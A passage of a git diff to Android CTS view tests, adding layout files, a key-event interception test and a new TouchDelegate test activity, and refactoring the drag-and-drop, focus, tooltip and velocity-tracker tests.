+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <LinearLayout
+ android:orientation="horizontal"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content">
+ <Button
+ android:id="@+id/higher_in_normal"
+ android:translationZ="3dp"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content" />
+ <Button
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content" />
+ <Button
+ android:id="@+id/last_in_normal"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content" />
+ </LinearLayout>
+ <LinearLayout
+ android:id="@+id/higher_group"
+ android:translationZ="1dp"
+ android:orientation="horizontal"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content">
+ <Button
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content" />
+ <Button
+ android:id="@+id/lower_in_higher"
+ android:translationZ="-2dp"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content" />
+ <Button
+ android:id="@+id/last_in_higher"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content" />
+ </LinearLayout>
+ <LinearLayout
+ android:orientation="horizontal"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content">
+ <Button
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content" />
+ <Button
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content" />
+ <Button
+ android:id="@+id/last_button"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content" />
+ </LinearLayout>
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/view/res/layout/touch_delegate_test_activity_layout.xml b/tests/tests/view/res/layout/touch_delegate_test_activity_layout.xml
new file mode 100644
index 0000000..0780046
--- /dev/null
+++ b/tests/tests/view/res/layout/touch_delegate_test_activity_layout.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:id="@+id/layout"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <Button
+ android:id="@+id/button"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_centerInParent="true"
+ />
+</RelativeLayout>
\ No newline at end of file
diff --git a/tests/tests/view/src/android/view/cts/DragDropTest.java b/tests/tests/view/src/android/view/cts/DragDropTest.java
index 39ae2d3..d74acef 100644
--- a/tests/tests/view/src/android/view/cts/DragDropTest.java
+++ b/tests/tests/view/src/android/view/cts/DragDropTest.java
@@ -25,6 +25,8 @@
import android.content.ClipData;
import android.content.ClipDescription;
import android.content.pm.PackageManager;
+import android.os.Parcel;
+import android.os.Parcelable;
import android.os.SystemClock;
import android.support.test.InstrumentationRegistry;
import android.support.test.rule.ActivityTestRule;
@@ -35,8 +37,6 @@
import android.view.View;
import android.view.ViewGroup;
-import com.android.internal.util.ArrayUtils;
-
import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
@@ -44,9 +44,10 @@
import org.junit.runner.RunWith;
import java.util.ArrayList;
-import java.util.Objects;
+import java.util.Arrays;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+import java.util.stream.IntStream;
@RunWith(AndroidJUnit4.class)
public class DragDropTest {
@@ -64,60 +65,81 @@
private CountDownLatch mStartReceived;
private CountDownLatch mEndReceived;
- private static boolean equal(ClipDescription d1, ClipDescription d2) {
- if ((d1 == null) != (d2 == null)) {
- return false;
- }
- if (d1 == null) {
+ /**
+ * Check whether two objects have the same binary data when dumped into Parcels
+ * @return True if the objects are equal
+ */
+ private static boolean compareParcelables(Parcelable obj1, Parcelable obj2) {
+ if (obj1 == null && obj2 == null) {
return true;
}
- return d1.getLabel().equals(d2.getLabel()) &&
- d1.getMimeTypeCount() == 1 && d2.getMimeTypeCount() == 1 &&
- d1.getMimeType(0).equals(d2.getMimeType(0));
- }
-
- private static boolean equal(ClipData.Item i1, ClipData.Item i2) {
- return Objects.equals(i1.getIntent(), i2.getIntent()) &&
- Objects.equals(i1.getHtmlText(), i2.getHtmlText()) &&
- Objects.equals(i1.getText(), i2.getText()) &&
- Objects.equals(i1.getUri(), i2.getUri());
- }
-
- private static boolean equal(ClipData d1, ClipData d2) {
- if ((d1 == null) != (d2 == null)) {
+ if (obj1 == null || obj2 == null) {
return false;
}
- if (d1 == null) {
- return true;
- }
- return equal(d1.getDescription(), d2.getDescription()) &&
- Objects.equals(d1.getIcon(), d2.getIcon()) &&
- d1.getItemCount() == 1 && d2.getItemCount() == 1 &&
- equal(d1.getItemAt(0), d2.getItemAt(0));
+ Parcel p1 = Parcel.obtain();
+ obj1.writeToParcel(p1, 0);
+ Parcel p2 = Parcel.obtain();
+ obj2.writeToParcel(p2, 0);
+ boolean result = Arrays.equals(p1.marshall(), p2.marshall());
+ p1.recycle();
+ p2.recycle();
+ return result;
}
- private static boolean equal(DragEvent ev1, DragEvent ev2) {
- return ev1.getAction() == ev2.getAction() &&
- ev1.getX() == ev2.getX() &&
- ev1.getY() == ev2.getY() &&
- equal(ev1.getClipData(), ev2.getClipData()) &&
- equal(ev1.getClipDescription(), ev2.getClipDescription()) &&
- Objects.equals(ev1.getDragAndDropPermissions(), ev2.getDragAndDropPermissions()) &&
- Objects.equals(ev1.getLocalState(), ev2.getLocalState()) &&
- ev1.getResult() == ev2.getResult();
- }
+ private static final ClipDescription sClipDescription =
+ new ClipDescription("TestLabel", new String[]{"text/plain"});
+ private static final ClipData sClipData =
+ new ClipData(sClipDescription, new ClipData.Item("TestText"));
+ private static final Object sLocalState = new Object(); // just check if null or not
class LogEntry {
- public View v;
- public DragEvent ev;
+ public View view;
- public LogEntry(View v, DragEvent ev) {
- this.v = v;
- this.ev = DragEvent.obtain(ev);
+ // Public DragEvent fields
+ public int action; // DragEvent.getAction()
+ public float x; // DragEvent.getX()
+ public float y; // DragEvent.getY()
+ public ClipData clipData; // DragEvent.getClipData()
+ public ClipDescription clipDescription; // DragEvent.getClipDescription()
+ public Object localState; // DragEvent.getLocalState()
+ public boolean result; // DragEvent.getResult()
+
+ LogEntry(View v, int action, float x, float y, ClipData clipData,
+ ClipDescription clipDescription, Object localState, boolean result) {
+ this.view = v;
+ this.action = action;
+ this.x = x;
+ this.y = y;
+ this.clipData = clipData;
+ this.clipDescription = clipDescription;
+ this.localState = localState;
+ this.result = result;
}
- public boolean eq(LogEntry other) {
- return v == other.v && equal(ev, other.ev);
+ @Override
+ public boolean equals(Object obj) {
+ if (this == obj) {
+ return true;
+ }
+ if (!(obj instanceof LogEntry)) {
+ return false;
+ }
+ final LogEntry other = (LogEntry) obj;
+ return view == other.view && action == other.action
+ && x == other.x && y == other.y
+ && compareParcelables(clipData, other.clipData)
+ && compareParcelables(clipDescription, other.clipDescription)
+ && localState == other.localState
+ && result == other.result;
+ }
+
+ @Override
+ public String toString() {
+ StringBuilder sb = new StringBuilder();
+ sb.append("DragEvent {action=").append(action).append(" x=").append(x).append(" y=")
+ .append(y).append(" result=").append(result).append("}")
+ .append(" @ ").append(view);
+ return sb.toString();
}
}
@@ -126,19 +148,18 @@
final private ArrayList<LogEntry> mActual = new ArrayList<LogEntry> ();
final private ArrayList<LogEntry> mExpected = new ArrayList<LogEntry> ();
- private static ClipDescription createClipDescription() {
- return new ClipDescription("TestLabel", new String[]{"text/plain"});
+ private static ClipData obtainClipData(int action) {
+ if (action == DragEvent.ACTION_DROP) {
+ return sClipData;
+ }
+ return null;
}
- private static ClipData createClipData() {
- return new ClipData(createClipDescription(), new ClipData.Item("TestText"));
- }
-
- static private DragEvent obtainDragEvent(int action, int x, int y, boolean result) {
- final ClipDescription description =
- action != DragEvent.ACTION_DRAG_ENDED ? createClipDescription() : null;
- final ClipData data = action == DragEvent.ACTION_DROP ? createClipData() : null;
- return DragEvent.obtain(action, x, y, null, description, data, null, result);
+ private static ClipDescription obtainClipDescription(int action) {
+ if (action == DragEvent.ACTION_DRAG_ENDED) {
+ return null;
+ }
+ return sClipDescription;
}
private void logEvent(View v, DragEvent ev) {
@@ -148,19 +169,23 @@
if (ev.getAction() == DragEvent.ACTION_DRAG_ENDED) {
mEndReceived.countDown();
}
- mActual.add(new LogEntry(v, ev));
+ mActual.add(new LogEntry(v, ev.getAction(), ev.getX(), ev.getY(), ev.getClipData(),
+ ev.getClipDescription(), ev.getLocalState(), ev.getResult()));
}
// Add expected event for a view, with zero coordinates.
private void expectEvent5(int action, int viewId) {
View v = mActivity.findViewById(viewId);
- mExpected.add(new LogEntry(v, obtainDragEvent(action, 0, 0, false)));
+ mExpected.add(new LogEntry(v, action, 0, 0, obtainClipData(action),
+ obtainClipDescription(action), sLocalState, false));
}
// Add expected event for a view.
- private void expectEndEvent(int viewId, int x, int y, boolean result) {
+ private void expectEndEvent(int viewId, float x, float y, boolean result) {
View v = mActivity.findViewById(viewId);
- mExpected.add(new LogEntry(v, obtainDragEvent(DragEvent.ACTION_DRAG_ENDED, x, y, result)));
+ int action = DragEvent.ACTION_DRAG_ENDED;
+ mExpected.add(new LogEntry(v, action, x, y, obtainClipData(action),
+ obtainClipDescription(action), sLocalState, result));
}
// Add expected successful-end event for a view.
@@ -173,9 +198,12 @@
private void expectEndEventFailure6(int viewId, int releaseViewId) {
View v = mActivity.findViewById(viewId);
View release = mActivity.findViewById(releaseViewId);
- int [] releaseLoc = release.getLocationOnScreen();
- mExpected.add(new LogEntry(v, obtainDragEvent(DragEvent.ACTION_DRAG_ENDED,
- releaseLoc[0] + 6, releaseLoc[1] + 6, false)));
+ int [] releaseLoc = new int[2];
+ release.getLocationOnScreen(releaseLoc);
+ int action = DragEvent.ACTION_DRAG_ENDED;
+ mExpected.add(new LogEntry(v, action,
+ releaseLoc[0] + 6, releaseLoc[1] + 6, obtainClipData(action),
+ obtainClipDescription(action), sLocalState, false));
}
// Add expected event for a view, with coordinates over view locationViewId, with the specified
@@ -183,11 +211,14 @@
private void expectEventWithOffset(int action, int viewId, int locationViewId, int offset) {
View v = mActivity.findViewById(viewId);
View locationView = mActivity.findViewById(locationViewId);
- int [] viewLocation = v.getLocationOnScreen();
- int [] locationViewLocation = locationView.getLocationOnScreen();
- mExpected.add(new LogEntry(v, obtainDragEvent(action,
+ int [] viewLocation = new int[2];
+ v.getLocationOnScreen(viewLocation);
+ int [] locationViewLocation = new int[2];
+ locationView.getLocationOnScreen(locationViewLocation);
+ mExpected.add(new LogEntry(v, action,
locationViewLocation[0] - viewLocation[0] + offset,
- locationViewLocation[1] - viewLocation[1] + offset, false)));
+ locationViewLocation[1] - viewLocation[1] + offset, obtainClipData(action),
+ obtainClipDescription(action), sLocalState, false));
}
private void expectEvent5(int action, int viewId, int locationViewId) {
@@ -203,7 +234,8 @@
private void injectMouseWithOffset(int viewId, int action, int offset) {
runOnMain(() -> {
View v = mActivity.findViewById(viewId);
- int [] destLoc = v.getLocationOnScreen();
+ int [] destLoc = new int [2];
+ v.getLocationOnScreen(destLoc);
long downTime = SystemClock.uptimeMillis();
MotionEvent event = MotionEvent.obtain(downTime, downTime, action,
destLoc[0] + offset, destLoc[1] + offset, 1);
@@ -237,8 +269,7 @@
StringBuilder sb = new StringBuilder();
for (int i = 0; i < log.size(); ++i) {
LogEntry e = log.get(i);
- sb.append("#").append(i + 1).append(": ").append(e.ev).append(" @ ").
- append(e.v.toString()).append('\n');
+ sb.append("#").append(i + 1).append(": ").append(e).append('\n');
}
return sb.toString();
}
@@ -263,7 +294,7 @@
}
for (int i = 0; i < mActual.size(); ++i) {
- if (!mActual.get(i).eq(mExpected.get(i))) {
+ if (!mActual.get(i).equals(mExpected.get(i))) {
failWithLogs("Actual event #" + (i + 1) + " is different from expected");
}
}
@@ -321,7 +352,7 @@
// Start drag.
View v = mActivity.findViewById(R.id.draggable);
assertTrue("Couldn't start drag",
- v.startDragAndDrop(createClipData(), new View.DragShadowBuilder(v), null, 0));
+ v.startDragAndDrop(sClipData, new View.DragShadowBuilder(v), sLocalState, 0));
});
try {
@@ -585,6 +616,11 @@
verifyEventLog();
}
+ private boolean drawableStateContains(int resourceId, int attr) {
+ return IntStream.of(mActivity.findViewById(resourceId).getDrawableState())
+ .anyMatch(x -> x == attr);
+ }
+
/**
* Tests that state_drag_hovered and state_drag_can_accept are set correctly.
*/
@@ -600,52 +636,38 @@
logEvent(v, ev);
return true;
});
- assertFalse(ArrayUtils.contains(
- mActivity.findViewById(R.id.inner).getDrawableState(),
- android.R.attr.state_drag_can_accept));
+ assertFalse(drawableStateContains(R.id.inner, android.R.attr.state_drag_can_accept));
});
startDrag();
runOnMain(() -> {
- assertFalse(ArrayUtils.contains(
- mActivity.findViewById(R.id.inner).getDrawableState(),
- android.R.attr.state_drag_hovered));
- assertTrue(ArrayUtils.contains(
- mActivity.findViewById(R.id.inner).getDrawableState(),
- android.R.attr.state_drag_can_accept));
+ assertFalse(drawableStateContains(R.id.inner, android.R.attr.state_drag_hovered));
+ assertTrue(drawableStateContains(R.id.inner, android.R.attr.state_drag_can_accept));
});
// Move mouse into the view.
injectMouse5(R.id.inner, MotionEvent.ACTION_MOVE);
runOnMain(() -> {
- assertTrue(ArrayUtils.contains(
- mActivity.findViewById(R.id.inner).getDrawableState(),
- android.R.attr.state_drag_hovered));
+ assertTrue(drawableStateContains(R.id.inner, android.R.attr.state_drag_hovered));
});
// Move out.
injectMouse5(R.id.subcontainer, MotionEvent.ACTION_MOVE);
runOnMain(() -> {
- assertFalse(ArrayUtils.contains(
- mActivity.findViewById(R.id.inner).getDrawableState(),
- android.R.attr.state_drag_hovered));
+ assertFalse(drawableStateContains(R.id.inner, android.R.attr.state_drag_hovered));
});
// Move in.
injectMouse5(R.id.inner, MotionEvent.ACTION_MOVE);
runOnMain(() -> {
- assertTrue(ArrayUtils.contains(
- mActivity.findViewById(R.id.inner).getDrawableState(),
- android.R.attr.state_drag_hovered));
+ assertTrue(drawableStateContains(R.id.inner, android.R.attr.state_drag_hovered));
});
// Release there.
injectMouse5(R.id.inner, MotionEvent.ACTION_UP);
runOnMain(() -> {
- assertFalse(ArrayUtils.contains(
- mActivity.findViewById(R.id.inner).getDrawableState(),
- android.R.attr.state_drag_hovered));
+ assertFalse(drawableStateContains(R.id.inner, android.R.attr.state_drag_hovered));
});
}
}
\ No newline at end of file
diff --git a/tests/tests/view/src/android/view/cts/FocusFinderTest.java b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
index 0f2119e..2505111 100644
--- a/tests/tests/view/src/android/view/cts/FocusFinderTest.java
+++ b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
@@ -426,7 +426,6 @@
// While we don't want to test details, we should at least verify basic correctness
// like "left-to-right" ordering in well-behaved layouts
- assertEquals(mLayout.findFocus(), mTopLeft);
verifyNextFocus(mTopLeft, View.FOCUS_FORWARD, mTopRight);
verifyNextFocus(mTopRight, View.FOCUS_FORWARD, mBottomLeft);
verifyNextFocus(mBottomLeft, View.FOCUS_FORWARD, mBottomRight);
diff --git a/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java b/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
new file mode 100644
index 0000000..598552b
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.KeyEvent;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.TimeUnit;
+
+
+/**
+ * Certain KeyEvents should never be delivered to apps. These keys are:
+ * KEYCODE_ASSIST
+ * KEYCODE_VOICE_ASSIST
+ * KEYCODE_HOME
+ * This test launches an Activity and inject KeyEvents with the corresponding key codes.
+ * The test will fail if any of these keys are received by the activity.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class KeyEventInterceptTest {
+ private KeyEventInterceptTestActivity mActivity;
+ private Instrumentation mInstrumentation;
+
+ @Rule
+ public ActivityTestRule<KeyEventInterceptTestActivity> mActivityRule =
+ new ActivityTestRule<>(KeyEventInterceptTestActivity.class);
+
+ @Before
+ public void setup() {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mActivity = mActivityRule.getActivity();
+ PollingCheck.waitFor(mActivity::hasWindowFocus);
+ }
+
+ @Test
+ public void testKeyCodeAssist() {
+ testKey(KeyEvent.KEYCODE_ASSIST);
+ }
+
+ @Test
+ public void testKeyCodeVoiceAssist() {
+ testKey(KeyEvent.KEYCODE_VOICE_ASSIST);
+ }
+
+ @Test
+ public void testKeyCodeHome() {
+ testKey(KeyEvent.KEYCODE_HOME);
+ }
+
+ private void testKey(int keyCode) {
+ sendKey(keyCode);
+ assertKeyNotReceived();
+ }
+
+ private void sendKey(int keyCodeToSend) {
+ long downTime = SystemClock.uptimeMillis();
+ injectEvent(new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN,
+ keyCodeToSend, 0, 0));
+ injectEvent(new KeyEvent(downTime, downTime + 1, KeyEvent.ACTION_UP,
+ keyCodeToSend, 0, 0));
+ }
+
+ private void injectEvent(KeyEvent event) {
+ final UiAutomation automation = mInstrumentation.getUiAutomation();
+ automation.injectInputEvent(event, true);
+ event.recycle();
+ }
+
+ private void assertKeyNotReceived() {
+ try {
+ KeyEvent keyEvent = mActivity.mKeyEvents.poll(1, TimeUnit.SECONDS);
+ if (keyEvent == null) {
+ return;
+ }
+ fail("Should not have received " + KeyEvent.keyCodeToString(keyEvent.getKeyCode()));
+ } catch (InterruptedException ex) {
+ fail("BlockingQueue.poll(..) was unexpectedly interrupted");
+ }
+ }
+}
diff --git a/tests/tests/view/src/android/view/cts/KeyEventInterceptTestActivity.java b/tests/tests/view/src/android/view/cts/KeyEventInterceptTestActivity.java
new file mode 100644
index 0000000..18e0713
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/KeyEventInterceptTestActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import android.app.Activity;
+import android.view.KeyEvent;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingDeque;
+
+public class KeyEventInterceptTestActivity extends Activity {
+ final BlockingQueue<KeyEvent> mKeyEvents = new LinkedBlockingDeque<>();
+
+ @Override
+ public boolean onKeyDown(int keyCode, KeyEvent event) {
+ mKeyEvents.add(event);
+ return true;
+ }
+
+ @Override
+ public boolean onKeyUp(int keyCode, KeyEvent event) {
+ // Check this in case some spurious event with ACTION_UP is received
+ mKeyEvents.add(event);
+ return true;
+ }
+}
diff --git a/tests/tests/view/src/android/view/cts/TooltipTest.java b/tests/tests/view/src/android/view/cts/TooltipTest.java
index 1717763..c2c8e87 100644
--- a/tests/tests/view/src/android/view/cts/TooltipTest.java
+++ b/tests/tests/view/src/android/view/cts/TooltipTest.java
@@ -256,9 +256,6 @@
injectLongClick(mTooltipView);
assertFalse(hasTooltip(mTooltipView));
- injectLongEnter(mTooltipView);
- assertFalse(hasTooltip(mTooltipView));
-
injectLongHoverMove(mTooltipView);
assertFalse(hasTooltip(mTooltipView));
}
diff --git a/tests/tests/view/src/android/view/cts/TouchDelegateTest.java b/tests/tests/view/src/android/view/cts/TouchDelegateTest.java
index 1fd3d8c..8def4b0 100644
--- a/tests/tests/view/src/android/view/cts/TouchDelegateTest.java
+++ b/tests/tests/view/src/android/view/cts/TouchDelegateTest.java
@@ -16,24 +16,19 @@
package android.view.cts;
-import static org.mockito.Matchers.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.times;
-import static org.mockito.Mockito.verify;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
-import android.app.Activity;
import android.app.Instrumentation;
+import android.os.SystemClock;
import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
import android.support.test.filters.MediumTest;
import android.support.test.rule.ActivityTestRule;
import android.support.test.runner.AndroidJUnit4;
+import android.view.InputDevice;
import android.view.MotionEvent;
-import android.view.TouchDelegate;
-import android.view.View;
-import android.view.ViewGroup;
-import android.widget.Button;
-import android.widget.LinearLayout;
+
import org.junit.Before;
import org.junit.Rule;
@@ -44,37 +39,89 @@
@RunWith(AndroidJUnit4.class)
public class TouchDelegateTest {
private Instrumentation mInstrumentation;
- private Activity mActivity;
- private Button mButton;
+ private TouchDelegateTestActivity mActivity;
@Rule
- public ActivityTestRule<MockActivity> mActivityRule =
- new ActivityTestRule<>(MockActivity.class);
+ public ActivityTestRule<TouchDelegateTestActivity> mActivityRule =
+ new ActivityTestRule<>(TouchDelegateTestActivity.class);
@Before
public void setup() throws Throwable {
mActivity = mActivityRule.getActivity();
+ mActivity.resetCounters();
mInstrumentation = InstrumentationRegistry.getInstrumentation();
-
- mButton = new Button(mActivity);
- mActivityRule.runOnUiThread(() -> mActivity.addContentView(
- mButton, new LinearLayout.LayoutParams(
- ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT)));
mInstrumentation.waitForIdleSync();
}
- @UiThreadTest
@Test
- public void testOnTouchEvent() {
- // test callback of onTouchEvent
- final View view = new View(mActivity);
- final TouchDelegate touchDelegate = mock(TouchDelegate.class);
- view.setTouchDelegate(touchDelegate);
+ public void testParentClick() {
+ // If only clicking parent, button should not receive click
+ clickParent();
+ assertEquals(0, mActivity.getButtonClickCount());
+ assertEquals(1, mActivity.getParentClickCount());
- final int xInside = (mButton.getLeft() + mButton.getRight()) / 3;
- final int yInside = (mButton.getTop() + mButton.getBottom()) / 3;
+ // When clicking TouchDelegate area, both parent and button
+ // should receive DOWN and UP events. However, click will only be generated for the button
+ mActivity.resetCounters();
+ clickTouchDelegateArea();
+ assertEquals(1, mActivity.getButtonClickCount());
+ assertEquals(0, mActivity.getParentClickCount());
- view.onTouchEvent(MotionEvent.obtain(0, 0, MotionEvent.ACTION_DOWN, xInside, yInside, 0));
- verify(touchDelegate, times(1)).onTouchEvent(any(MotionEvent.class));
+ // Ensure parent can still receive clicks after TouchDelegate has been activated once
+ mActivity.resetCounters();
+ clickParent();
+ assertEquals(0, mActivity.getButtonClickCount());
+ assertEquals(1, mActivity.getParentClickCount());
+ }
+
+ @Test
+ public void testCancelEvent() {
+ // Ensure events with ACTION_CANCEL are received by the TouchDelegate
+ final long downTime = SystemClock.uptimeMillis();
+ dispatchMotionEventToActivity(MotionEvent.ACTION_DOWN, mActivity.touchDelegateY,
+ downTime);
+ dispatchMotionEventToActivity(MotionEvent.ACTION_CANCEL, mActivity.touchDelegateY,
+ downTime);
+ mInstrumentation.waitForIdleSync();
+
+ MotionEvent event = mActivity.removeOldestButtonEvent();
+ assertNotNull(event);
+ assertEquals(MotionEvent.ACTION_DOWN, event.getAction());
+ event.recycle();
+ event = mActivity.removeOldestButtonEvent();
+ assertNotNull(event);
+ assertEquals(MotionEvent.ACTION_CANCEL, event.getAction());
+ event.recycle();
+ assertNull(mActivity.removeOldestButtonEvent());
+ assertEquals(0, mActivity.getButtonClickCount());
+ assertEquals(0, mActivity.getParentClickCount());
+ }
+
+ private void clickParent() {
+ click(mActivity.parentViewY);
+ }
+
+ private void clickTouchDelegateArea() {
+ click(mActivity.touchDelegateY);
+ }
+
+ // Low-level input-handling functions for the activity
+
+ private void click(int y) {
+ final long downTime = SystemClock.uptimeMillis();
+ dispatchMotionEventToActivity(MotionEvent.ACTION_DOWN, y, downTime);
+ dispatchMotionEventToActivity(MotionEvent.ACTION_UP, y, downTime);
+ mInstrumentation.waitForIdleSync();
+ }
+
+ private void dispatchMotionEventToActivity(int action, int y, long downTime) {
+ mActivity.runOnUiThread(() -> {
+ final long eventTime = SystemClock.uptimeMillis();
+ final MotionEvent event = MotionEvent.obtain(downTime, eventTime, action,
+ mActivity.x, y, 0);
+ event.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+ mActivity.dispatchTouchEvent(event);
+ event.recycle();
+ });
}
}
diff --git a/tests/tests/view/src/android/view/cts/TouchDelegateTestActivity.java b/tests/tests/view/src/android/view/cts/TouchDelegateTestActivity.java
new file mode 100644
index 0000000..0f01a95
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/TouchDelegateTestActivity.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import android.app.Activity;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.view.MotionEvent;
+import android.view.TouchDelegate;
+import android.view.View;
+import android.view.ViewTreeObserver;
+import android.widget.Button;
+
+import java.util.ArrayDeque;
+import java.util.Queue;
+
+/**
+ * The layout is:
+ * | <-- top edge of RelativeLayout (parent)
+ * |
+ * |
+ * | (touches in this region should go to parent only)
+ * |
+ * |
+ * | <-- TouchDelegate boundary
+ * |
+ * |
+ * | (touches in this region should go to button + parent)
+ * |
+ * |
+ * | <-- Button top boundary
+ * |
+ */
+public class TouchDelegateTestActivity extends Activity {
+ // Counters for click events. Must use waitForIdleSync() before accessing these
+ private volatile int mParentClickCount = 0;
+ private volatile int mButtonClickCount = 0;
+ // Storage for MotionEvents received by the TouchDelegate
+ private Queue<MotionEvent> mButtonEvents = new ArrayDeque<>();
+
+ // Coordinates for injecting input events from the test
+ public int x; // common X coordinate for all input events - center of the screen
+ public int touchDelegateY; // Y coordinate for touches inside TouchDelegate area
+ public int parentViewY; // Y coordinate for touches inside parent area only
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.touch_delegate_test_activity_layout);
+
+ final Button button = findViewById(R.id.button);
+ final View parent = findViewById(R.id.layout);
+
+ parent.getViewTreeObserver().addOnGlobalLayoutListener(
+ new ViewTreeObserver.OnGlobalLayoutListener() {
+ @Override
+ public void onGlobalLayout() {
+ final int[] parentLocation = new int[2];
+ parent.getLocationOnScreen(parentLocation);
+ final int[] buttonLocation = new int[2];
+ button.getLocationOnScreen(buttonLocation);
+ x = parentLocation[0] + parent.getWidth() / 2;
+ final int gap = buttonLocation[1] - parentLocation[1];
+
+ Rect rect = new Rect();
+ button.getHitRect(rect);
+ rect.top -= gap / 2; // TouchDelegate is halfway between button and parent
+ parent.setTouchDelegate(new TouchDelegate(rect, button));
+ touchDelegateY = buttonLocation[1] - gap / 4;
+ parentViewY = parentLocation[1] + gap / 4;
+ }
+ });
+
+ parent.setOnClickListener(v -> mParentClickCount++);
+ button.setOnClickListener(v -> mButtonClickCount++);
+ button.setOnTouchListener((v, event) -> {
+ mButtonEvents.add(MotionEvent.obtain(event));
+ return TouchDelegateTestActivity.super.onTouchEvent(event);
+ });
+ }
+
+ void resetCounters() {
+ mParentClickCount = 0;
+ mButtonClickCount = 0;
+ mButtonEvents.clear();
+ }
+
+ int getButtonClickCount() {
+ return mButtonClickCount;
+ }
+
+ int getParentClickCount() {
+ return mParentClickCount;
+ }
+
+ /**
+ * Remove and return the oldest MotionEvent. Caller must recycle the returned object.
+ * @return the oldest MotionEvent that the Button has received
+ */
+ MotionEvent removeOldestButtonEvent() {
+ return mButtonEvents.poll();
+ }
+}
diff --git a/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java b/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java
index 774aadb..955cf7c 100644
--- a/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java
+++ b/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java
@@ -174,7 +174,7 @@
}
private void addMovement() {
- if (mTime >= mLastTime) {
+ if (mTime > mLastTime) {
